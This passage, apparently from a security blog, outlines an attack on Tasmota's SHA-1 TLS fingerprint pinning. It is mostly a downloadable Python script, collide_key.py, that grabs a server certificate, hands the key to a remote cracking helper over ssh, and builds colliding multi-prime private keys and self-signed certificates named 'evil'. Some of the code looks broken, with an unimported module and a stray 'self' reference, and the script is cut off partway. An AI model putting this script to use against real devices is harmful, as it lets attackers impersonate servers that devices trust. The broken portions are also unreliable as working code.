<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcssn">json</span><span class="pgcsso">.</span><span class="pgcssn">dumps</span><span class="pgcssp">(</span><span class="pgcssn">result</span><span class="pgcssp">))</span></code>
</td></tr></tbody></table></div>
<p>The plan of attack, then will be to start with the smallest <span class="formula"><i>n</i></span> value
that can be split out of the original key, and work up to the largest. For each
potential <span class="formula"><i>n</i></span> value, spend a short time trying to factor it. If it can be
factored, great, the attack is done. If not, save the progress and move
on. If a usable full factorization isn’t found for any of the candidate
<span class="formula"><i>n</i></span> values, then try again, spending progressively more time until
successful. There’s no guarantee this process will work on any given key,
but the odds are quite good.</p>
<div class="highlight"><table class="highlighttable"><caption><a download="" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fplugin-secure_%2Fattach%2Fcollide_key.py" id="collide-key-py">collide_key.py</a></caption><tbody><tr><td class="linenos">1</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">sys</span></code>
</td></tr><tr><td class="linenos">2</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">ssl</span></code>
</td></tr><tr><td class="linenos">3</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">json</span></code>
</td></tr><tr><td class="linenos">4</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">base64</span></code>
</td></tr><tr><td class="linenos">5</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">subprocess</span></code>
</td></tr><tr><td class="linenos">6</td><td>
</td></tr><tr><td class="linenos">7</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">hashlib</span> <span class="pgcsskn">import</span> <span class="pgcssn">sha1</span></code>
</td></tr><tr><td class="linenos">8</td><td>
</td></tr><tr><td class="linenos">9</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">binascii</span> <span class="pgcsskn">import</span> <span class="pgcssn">hexlify</span><span class="pgcssp">,</span> <span class="pgcssn">unhexlify</span></code>
</td></tr><tr><td class="linenos">10</td><td>
</td></tr><tr><td class="linenos">11</td><td>
<code><span class="pgcssc1"># need recent pycryptodome</span></code>
</td></tr><tr><td class="linenos">12</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">Crypto.PublicKey</span> <span class="pgcsskn">import</span> <span class="pgcssn">RSA</span></code>
</td></tr><tr><td class="linenos">13</td><td>
</td></tr><tr><td class="linenos">14</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">mprsa</span> <span class="pgcsskn">import</span> <span class="pgcssn">RSAPrivateKey</span></code>
</td></tr><tr><td class="linenos">15</td><td>
</td></tr><tr><td class="linenos">16</td><td>
<code><span class="pgcssn">CRACK_ARGS</span> <span class="pgcsso">=</span> <span class="pgcssp">[</span><span class="pgcsss1">&#39;ssh&#39;</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;192.168.1.42&#39;</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;~/crack_split_rsa.py&#39;</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">17</td><td>
</td></tr><tr><td class="linenos">18</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">to_bytes</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">19</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">n</span><span class="pgcsso">.</span><span class="pgcssn">to_bytes</span><span class="pgcssp">((</span><span class="pgcssn">n</span><span class="pgcsso">.</span><span class="pgcssn">bit_length</span><span class="pgcssp">()</span> <span class="pgcsso">+</span> <span class="pgcssmi">7</span><span class="pgcssp">)</span> <span class="pgcsso">//</span> <span class="pgcssmi">8</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;big&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">20</td><td>
</td></tr><tr><td class="linenos">21</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">raw</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">22</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">sha1</span><span class="pgcssp">(</span><span class="pgcsssa">b</span><span class="pgcsss1">&#39;ssh-rsa&#39;</span><span class="pgcsso">+</span><span class="pgcssn">raw</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">hexdigest</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">23</td><td>
</td></tr><tr><td class="linenos">24</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">fmt_fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">raw</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">25</td><td>
<code> <span class="pgcssn">h</span> <span class="pgcsso">=</span> <span class="pgcssn">fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">raw</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">upper</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">26</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcsss1">&#39; &#39;</span><span class="pgcsso">.</span><span class="pgcssn">join</span><span class="pgcssp">(</span><span class="pgcssn">h</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">:</span><span class="pgcssn">i</span><span class="pgcsso">+</span><span class="pgcssmi">2</span><span class="pgcssp">]</span> <span class="pgcssk">for</span> <span class="pgcssn">i</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssmi">0</span><span class="pgcssp">,</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">h</span><span class="pgcssp">),</span> <span class="pgcssmi">2</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">27</td><td>
</td></tr><tr><td class="linenos">28</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">tasmota_fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">29</td><td>
<code> <span class="pgcssn">sha</span> <span class="pgcsso">=</span> <span class="pgcssn">sha1</span><span class="pgcssp">(</span><span class="pgcsssa">b</span><span class="pgcsss1">&#39;ssh-rsa&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">30</td><td>
<code> <span class="pgcssn">sha</span><span class="pgcsso">.</span><span class="pgcssn">update</span><span class="pgcssp">(</span><span class="pgcssn">to_bytes</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;publicExponent&#39;</span><span class="pgcssp">])))</span></code>
</td></tr><tr><td class="linenos">31</td><td>
<code> <span class="pgcssn">sha</span><span class="pgcsso">.</span><span class="pgcssn">update</span><span class="pgcssp">(</span><span class="pgcssn">to_bytes</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;modulus&#39;</span><span class="pgcssp">])))</span></code>
</td></tr><tr><td class="linenos">32</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">sha</span><span class="pgcsso">.</span><span class="pgcssn">hexdigest</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">33</td><td>
</td></tr><tr><td class="linenos">34</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">self_sign</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">,</span> <span class="pgcssn">cn</span><span class="pgcsso">=</span><span class="pgcsss1">&#39;evil&#39;</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">35</td><td>
<code> <span class="pgcssn">k</span> <span class="pgcsso">=</span> <span class="pgcssn">crypto</span><span class="pgcsso">.</span><span class="pgcssn">load_privatekey</span><span class="pgcssp">(</span><span class="pgcssn">crypto</span><span class="pgcsso">.</span><span class="pgcssn">FILETYPE_ASN1</span><span class="pgcssp">,</span> <span class="pgcssn">rsa</span><span class="pgcsso">.</span><span class="pgcssn">der</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">36</td><td>
<code> <span class="pgcssn">cert</span> <span class="pgcsso">=</span> <span class="pgcssn">crypto</span><span class="pgcsso">.</span><span class="pgcssn">X509</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">37</td><td>
<code> <span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">get_subject</span><span class="pgcssp">()</span><span class="pgcsso">.</span><span class="pgcssn">CN</span> <span class="pgcsso">=</span> <span class="pgcssn">cn</span></code>
</td></tr><tr><td class="linenos">38</td><td>
<code> <span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">set_serial_number</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">tasmota_fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">),</span> <span class="pgcssmi">16</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">39</td><td>
<code> <span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">gmtime_adj_notBefore</span><span class="pgcssp">(</span><span class="pgcssmi">86400</span> <span class="pgcsso">*</span> <span class="pgcsso">-</span><span class="pgcssmi">1</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">40</td><td>
<code> <span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">gmtime_adj_notAfter</span><span class="pgcssp">(</span><span class="pgcssmi">86400</span> <span class="pgcsso">*</span> <span class="pgcssmi">365</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">41</td><td>
<code> <span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">set_issuer</span><span class="pgcssp">(</span><span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">get_subject</span><span class="pgcssp">())</span></code>
</td></tr><tr><td class="linenos">42</td><td>
<code> <span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">set_pubkey</span><span class="pgcssp">(</span><span class="pgcssn">k</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">43</td><td>
<code> <span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">sign</span><span class="pgcssp">(</span><span class="pgcssn">k</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;sha256&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">44</td><td>
</td></tr><tr><td class="linenos">45</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">crypto</span><span class="pgcsso">.</span><span class="pgcssn">dump_certificate</span><span class="pgcssp">(</span><span class="pgcssn">crypto</span><span class="pgcsso">.</span><span class="pgcssn">FILETYPE_PEM</span><span class="pgcssp">,</span> <span class="pgcssn">cert</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">decode</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">46</td><td>
</td></tr><tr><td class="linenos">47</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">keypair</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">,</span> <span class="pgcssn">cn</span><span class="pgcsso">=</span><span class="pgcsss1">&#39;evil&#39;</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">48</td><td>
<code> <span class="pgcssn">i</span> <span class="pgcsso">=</span> <span class="pgcssmi">0</span></code>
</td></tr><tr><td class="linenos">49</td><td>
<code> <span class="pgcssk">while</span> <span class="pgcsskc">True</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">50</td><td>
<code> <span class="pgcssk">try</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">51</td><td>
<code> <span class="pgcssn">keypair</span> <span class="pgcsso">=</span> <span class="pgcssn">rsa</span><span class="pgcsso">.</span><span class="pgcssn">pem</span> <span class="pgcsso">+</span> <span class="pgcssn">rsa</span><span class="pgcsso">.</span><span class="pgcssn">rsa_sign</span><span class="pgcssp">(</span><span class="pgcssn">cn</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">52</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">i</span> <span class="pgcsso">&gt;</span> <span class="pgcssmi">0</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">53</td><td>
<code> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">stdout</span><span class="pgcsso">.</span><span class="pgcssn">write</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;WARNING: had to retry cert signature&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">54</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">keypair</span></code>
</td></tr><tr><td class="linenos">55</td><td>
<code> <span class="pgcssk">except</span> <span class="pgcssne">Exception</span> <span class="pgcssk">as</span> <span class="pgcssn">e</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">56</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">i</span> <span class="pgcsso">&lt;</span> <span class="pgcssmi">20</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">57</td><td>
<code> <span class="pgcssn">i</span> <span class="pgcsso">+=</span> <span class="pgcssmi">1</span></code>
</td></tr><tr><td class="linenos">58</td><td>
<code> <span class="pgcssk">else</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">59</td><td>
<code> <span class="pgcssk">raise</span> <span class="pgcssn">e</span></code>
</td></tr><tr><td class="linenos">60</td><td>
</td></tr><tr><td class="linenos">61</td><td>
<code><span class="pgcssk">if</span> <span class="pgcssvm">__name__</span> <span class="pgcsso">==</span> <span class="pgcsss1">&#39;__main__&#39;</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">62</td><td>
<code> <span class="pgcssn">source</span> <span class="pgcsso">=</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">63</td><td>
</td></tr><tr><td class="linenos">64</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcsss1">&#39;:&#39;</span> <span class="pgcssow">in</span> <span class="pgcssn">source</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">65</td><td>
<code> <span class="pgcssn">parts</span> <span class="pgcsso">=</span> <span class="pgcssn">source</span><span class="pgcsso">.</span><span class="pgcssn">split</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;:&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">66</td><td>
<code> <span class="pgcssn">hostname</span> <span class="pgcsso">=</span> <span class="pgcssn">parts</span><span class="pgcssp">[</span><span class="pgcssmi">0</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">67</td><td>
<code> <span class="pgcssn">port</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">parts</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">])</span></code>
</td></tr><tr><td class="linenos">68</td><td>
<code> <span class="pgcssn">target</span> <span class="pgcsso">=</span> <span class="pgcssn">RSA</span><span class="pgcsso">.</span><span class="pgcssn">importKey</span><span class="pgcssp">(</span><span class="pgcssn">ssl</span><span class="pgcsso">.</span><span class="pgcssn">get_server_certificate</span><span class="pgcssp">((</span><span class="pgcssn">hostname</span><span class="pgcssp">,</span> <span class="pgcssn">port</span><span class="pgcssp">)))</span></code>
</td></tr><tr><td class="linenos">69</td><td>
<code> <span class="pgcssk">else</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">70</td><td>
<code> <span class="pgcssk">with</span> <span class="pgcssnb">open</span><span class="pgcssp">(</span><span class="pgcssn">source</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;rb&#39;</span><span class="pgcssp">)</span> <span class="pgcssk">as</span> <span class="pgcssn">pem</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">71</td><td>
<code> <span class="pgcssn">target</span> <span class="pgcsso">=</span> <span class="pgcssn">RSA</span><span class="pgcsso">.</span><span class="pgcssn">importKey</span><span class="pgcssp">(</span><span class="pgcssn">pem</span><span class="pgcsso">.</span><span class="pgcssn">read</span><span class="pgcssp">())</span></code>
</td></tr><tr><td class="linenos">72</td><td>
</td></tr><tr><td class="linenos">73</td><td>
<code> <span class="pgcssn">raw</span> <span class="pgcsso">=</span> <span class="pgcssn">to_bytes</span><span class="pgcssp">(</span><span class="pgcssn">target</span><span class="pgcsso">.</span><span class="pgcssn">e</span><span class="pgcssp">)</span> <span class="pgcsso">+</span> <span class="pgcssn">to_bytes</span><span class="pgcssp">(</span><span class="pgcssn">target</span><span class="pgcsso">.</span><span class="pgcssn">n</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">74</td><td>
</td></tr><tr><td class="linenos">75</td><td>
<code> <span class="pgcssn">fp</span> <span class="pgcsso">=</span> <span class="pgcssn">fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">raw</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">76</td><td>
</td></tr><tr><td class="linenos">77</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;Tasmota fingerprint: &#39;</span> <span class="pgcsso">+</span> <span class="pgcssn">fmt_fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">raw</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">78</td><td>
</td></tr><tr><td class="linenos">79</td><td>
<code> <span class="pgcssn">proc</span> <span class="pgcsso">=</span> <span class="pgcssn">subprocess</span><span class="pgcsso">.</span><span class="pgcssn">Popen</span><span class="pgcssp">(</span><span class="pgcssn">CRACK_ARGS</span> <span class="pgcsso">+</span> <span class="pgcssp">[</span><span class="pgcssn">hexlify</span><span class="pgcssp">(</span><span class="pgcssn">raw</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">decode</span><span class="pgcssp">()],</span> <span class="pgcssn">stdout</span><span class="pgcsso">=</span><span class="pgcssn">subprocess</span><span class="pgcsso">.</span><span class="pgcssn">PIPE</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">80</td><td>
<code> <span class="pgcssn">lines</span> <span class="pgcsso">=</span> <span class="pgcssp">[]</span></code>
</td></tr><tr><td class="linenos">81</td><td>
<code> <span class="pgcssk">while</span> <span class="pgcsskc">True</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">82</td><td>
<code> <span class="pgcssn">line</span> <span class="pgcsso">=</span> <span class="pgcssn">proc</span><span class="pgcsso">.</span><span class="pgcssn">stdout</span><span class="pgcsso">.</span><span class="pgcssn">readline</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">83</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssow">not</span> <span class="pgcssn">line</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">84</td><td>
<code> <span class="pgcssk">break</span></code>
</td></tr><tr><td class="linenos">85</td><td>
<code> <span class="pgcssn">line</span> <span class="pgcsso">=</span> <span class="pgcssn">line</span><span class="pgcsso">.</span><span class="pgcssn">decode</span><span class="pgcssp">()</span><span class="pgcsso">.</span><span class="pgcssn">rstrip</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">86</td><td>
<code> <span class="pgcssn">lines</span><span class="pgcsso">.</span><span class="pgcssn">append</span><span class="pgcssp">(</span><span class="pgcssn">line</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">87</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssn">line</span><span class="pgcssp">[</span><span class="pgcssmi">0</span><span class="pgcssp">]</span> <span class="pgcsso">!=</span> <span class="pgcsss1">&#39;{&#39;</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">88</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcssn">line</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">89</td><td>
</td></tr><tr><td class="linenos">90</td><td>
<code> <span class="pgcssn">last</span> <span class="pgcsso">=</span> <span class="pgcssn">lines</span><span class="pgcssp">[</span><span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">lines</span><span class="pgcssp">)</span><span class="pgcsso">-</span><span class="pgcssmi">1</span><span class="pgcssp">]</span></code>
</td></tr><tr><td class="linenos">91</td><td>
</td></tr><tr><td class="linenos">92</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;Writing results to </span><span class="pgcsssi">%s</span><span class="pgcsss1">.json&#39;</span> <span class="pgcsso">%</span> <span class="pgcssn">fp</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">93</td><td>
<code> <span class="pgcssk">with</span> <span class="pgcssnb">open</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;</span><span class="pgcsssi">%s</span><span class="pgcsss1">.json&#39;</span> <span class="pgcsso">%</span> <span class="pgcssn">fp</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;w&#39;</span><span class="pgcssp">)</span> <span class="pgcssk">as</span> <span class="pgcssn">out</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">94</td><td>
<code> <span class="pgcssn">out</span><span class="pgcsso">.</span><span class="pgcssn">write</span><span class="pgcssp">(</span><span class="pgcssn">last</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">95</td><td>
</td></tr><tr><td class="linenos">96</td><td>
<code> <span class="pgcssn">result</span> <span class="pgcsso">=</span> <span class="pgcssn">json</span><span class="pgcsso">.</span><span class="pgcssn">loads</span><span class="pgcssp">(</span><span class="pgcssn">last</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">97</td><td>
</td></tr><tr><td class="linenos">98</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcsss1">&#39;solutions&#39;</span> <span class="pgcssow">in</span> <span class="pgcssn">result</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">99</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">i</span><span class="pgcssp">,</span> <span class="pgcssn">params</span> <span class="pgcssow">in</span> <span class="pgcssnb">enumerate</span><span class="pgcssp">(</span><span class="pgcssn">result</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;solutions&#39;</span><span class="pgcssp">]):</span></code>
</td></tr><tr><td class="linenos">100</td><td>
<code> <span class="pgcssn">e</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;e&#39;</span><span class="pgcssp">])</span></code>
</td></tr><tr><td class="linenos">101</td><td>
<code> <span class="pgcssn">primes</span> <span class="pgcsso">=</span> <span class="pgcssnb">list</span><span class="pgcssp">(</span><span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">,</span> <span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">&#39;primes&#39;</span><span class="pgcssp">]))</span></code>
</td></tr><tr><td class="linenos">102</td><td>
<code> <span class="pgcssn">key</span> <span class="pgcsso">=</span> <span class="pgcssn">RSAPrivateKey</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">primes</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">103</td><td>
<code> <span class="pgcssn">filename</span> <span class="pgcsso">=</span> <span class="pgcsss1">&#39;</span><span class="pgcsssi">%s</span><span class="pgcsss1">_e</span><span class="pgcsssi">%04u</span><span class="pgcsss1">_p</span><span class="pgcsssi">%02u</span><span class="pgcsss1">&#39;</span> <span class="pgcsso">%</span> <span class="pgcssp">(</span><span class="pgcssn">fp</span><span class="pgcssp">,</span> <span class="pgcssnb">int</span><span class="pgcsso">.</span><span class="pgcssn">bit_length</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">),</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">104</td><td>
<code> <span class="pgcssk">try</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">105</td><td>
<code> <span class="pgcssn">b64</span> <span class="pgcsso">=</span> <span class="pgcssn">base64</span><span class="pgcsso">.</span><span class="pgcssn">b64encode</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">der</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">decode</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">106</td><td>
<code> <span class="pgcssn">b64</span> <span class="pgcsso">=</span> <span class="pgcsss1">&#39;</span><span class="pgcssse">\n</span><span class="pgcsss1">&#39;</span><span class="pgcsso">.</span><span class="pgcssn">join</span><span class="pgcssp">(</span><span class="pgcssn">b64</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">:</span><span class="pgcssn">i</span><span class="pgcsso">+</span><span class="pgcssmi">64</span><span class="pgcssp">]</span> <span class="pgcssk">for</span> <span class="pgcssn">i</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssmi">0</span><span class="pgcssp">,</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">b64</span><span class="pgcssp">),</span> <span class="pgcssmi">64</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">107</td><td>
<code> <span class="pgcssn">pem</span> <span class="pgcsso">=</span> <span class="pgcsss1">&#39;-----BEGIN </span><span class="pgcsssi">{text}</span><span class="pgcsss1">-----</span><span class="pgcssse">\n</span><span class="pgcsssi">{b64}</span><span class="pgcssse">\n</span><span class="pgcsss1">-----END </span><span class="pgcsssi">{text}</span><span class="pgcsss1">-----</span><span class="pgcssse">\n</span><span class="pgcsss1">&#39;</span></code>
</td></tr><tr><td class="linenos">108</td><td>
<code> <span class="pgcssn">pem</span> <span class="pgcsso">=</span> <span class="pgcssn">pem</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">b64</span><span class="pgcsso">=</span><span class="pgcssn">b64</span><span class="pgcssp">,</span> <span class="pgcssn">text</span><span class="pgcsso">=</span><span class="pgcsss1">&#39;RSA PRIVATE KEY&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">109</td><td>
<code> <span class="pgcssn">keypair_text</span> <span class="pgcsso">=</span> <span class="pgcssn">keypair</span><span class="pgcssp">(</span><span class="pgcssn">key</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">110</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;Writing keypair to </span><span class="pgcsssi">{}</span><span class="pgcsss1">&#39;</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">filename</span><span class="pgcsso">+</span><span class="pgcsss1">&#39;.pem&#39;</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">111</td><td>
<code> <span class="pgcssk">with</span> <span class="pgcssnb">open</span><span class="pgcssp">(</span><span class="pgcssn">filename</span><span class="pgcsso">+</span><span class="pgcsss1">&#39;.pem&#39;</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;w&#39;</span><span class="pgcssp">)</span> <span class="pgcssk">as</span> <span class="pgcssn">out</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">112</td><td>
<code> <span class="pgcssn">out</span><span class="pgcsso">.</span><span class="pgcssn">write</span><span class="pgcssp">(</span><span class="pgcssn">keypair_text</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">113</td><td>
<code> <span class="pgcssk">except</span> <span class="pgcssne">Exception</span> <span class="pgcssk">as</span> <span class="pgcssn">e</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">114</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">115</td><td>
<code> <span class="pgcssk">if</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span> <span class="pgcsso">&gt;</span> <span class="pgcssmi">5</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">116</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;You may need to patch OpenSSL to allow more than 5 primes.&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">117</td><td>
<code> <span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">&#39;Writing keypair to </span><span class="pgcsssi">{}</span><span class="pgcsss1">&#39;</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">filename</span><span class="pgcsso">+</span><span class="pgcsss1">&#39;.key&#39;</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">118</td><td>
<code> <span class="pgcssk">with</span> <span class="pgcssnb">open</span><span class="pgcssp">(</span><span class="pgcssn">filename</span><span class="pgcsso">+</span><span class="pgcsss1">&#39;.key&#39;</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;w&#39;</span><span class="pgcssp">)</span> <span class="pgcssk">as</span> <span class="pgcssn">out</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">119</td><td>
